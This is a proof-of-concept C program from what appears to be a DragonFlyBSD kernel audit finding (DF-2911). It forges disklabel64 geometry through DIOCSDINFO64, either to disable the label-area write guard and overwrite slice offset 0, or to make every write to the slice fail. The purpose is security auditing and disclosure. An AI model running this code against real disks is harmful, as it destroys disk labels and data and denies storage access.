⬢ DragonFlyBSD Kernel Audit
DF-2911 / df2911_lab64.c
← back to finding ↓ download raw
/* DF-2911: l64_setdisklabel accepts internally inconsistent geometry.
 * (a) installs a label with d_bbase=0 -> ds_reserved = 0 -> the label-area
 *     EROFS guard (subr_diskslice.c:227) is disabled: raw write at slice
 *     offset 0 succeeds (destroys our own scratch label - file-backed vn).
 * (b) installs a label with huge d_bbase -> ds_reserved covers the whole
 *     slice -> ALL writes EROFS (self-DoS of the slice).
 * Control: with the stock label, write at offset 0 -> EROFS.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <sys/param.h>
#include <sys/disklabel64.h>
#include <zlib.h>

static void fixcrc(struct disklabel64 *d)
{
	size_t n = offsetof(struct disklabel64,
			    d_partitions[d->d_npartitions]) -
		   offsetof(struct disklabel64, d_magic);
	uint32_t save = d->d_crc;
	d->d_crc = 0;
	d->d_crc = (uint32_t)crc32(0, (const Bytef *)&d->d_magic, n);
	(void)save;
}

static void show(struct disklabel64 *d, const char *tag)
{
	printf("%s: total=%llu bbase=%llu pbase=%llu pstop=%llu nparts=%u\n",
	       tag,
	       (unsigned long long)d->d_total_size,
	       (unsigned long long)d->d_bbase,
	       (unsigned long long)d->d_pbase,
	       (unsigned long long)d->d_pstop,
	       d->d_npartitions);
}

static int try_write(const char *dev)
{
	int fd = open(dev, O_RDWR);
	char b[512];
	int n;
	if (fd < 0) { printf("  open %s: %s\n", dev, strerror(errno)); return -1; }
	memset(b, 0x5a, sizeof(b));
	n = pwrite(fd, b, sizeof(b), 0);
	printf("  pwrite(%s, off 0) = %d errno=%d (%s)\n", dev, n, errno,
	       n < 0 ? strerror(errno) : "WRITE ACCEPTED BELOW LABEL");
	close(fd);
	return n;
}

int main(int argc, char **argv)
{
	const char *dev = argc > 1 ? argv[1] : "/dev/vn0s1";
	struct disklabel64 d;
	int fd = open(dev, O_RDWR);
	if (fd < 0) { perror("open"); return 1; }
	if (ioctl(fd, DIOCGDINFO64, &d) < 0) { perror("DIOCGDINFO64"); return 1; }
	show(&d, "stock");

	errno = 0;
	printf("control: write at slice offset 0 with stock label\n");
	try_write(dev);

	/* (a) d_bbase = 0 */
	d.d_bbase = 0;
	fixcrc(&d);
	if (ioctl(fd, DIOCSDINFO64, &d) < 0) { perror("DIOCSDINFO64 bbase=0"); return 1; }
	printf("installed label with d_bbase=0 (accepted)\n");
	errno = 0;
	try_write(dev);

	/* restore from disk (we just trashed it) - re-read may fail; rebuild */
	if (ioctl(fd, DIOCGDINFO64, &d) == 0)
		show(&d, "after-bbase0");

	/* (b) huge d_bbase beyond the slice */
	if (ioctl(fd, DIOCGDINFO64, &d) < 0) {
		/* label area got trashed by (a); rebuild from stock values */
		perror("re-GINFO after (a) - rebuilding");
		return 2;
	}
	d.d_bbase = d.d_pstop ? d.d_pstop : d.d_total_size;  /* everything reserved */
	fixcrc(&d);
	if (ioctl(fd, DIOCSDINFO64, &d) < 0) { perror("DIOCSDINFO64 huge bbase"); return 1; }
	printf("installed label with d_bbase=%llu (accepted, unvalidated)\n",
	       (unsigned long long)d.d_bbase);
	errno = 0;
	try_write(dev);

	close(fd);
	return 0;
}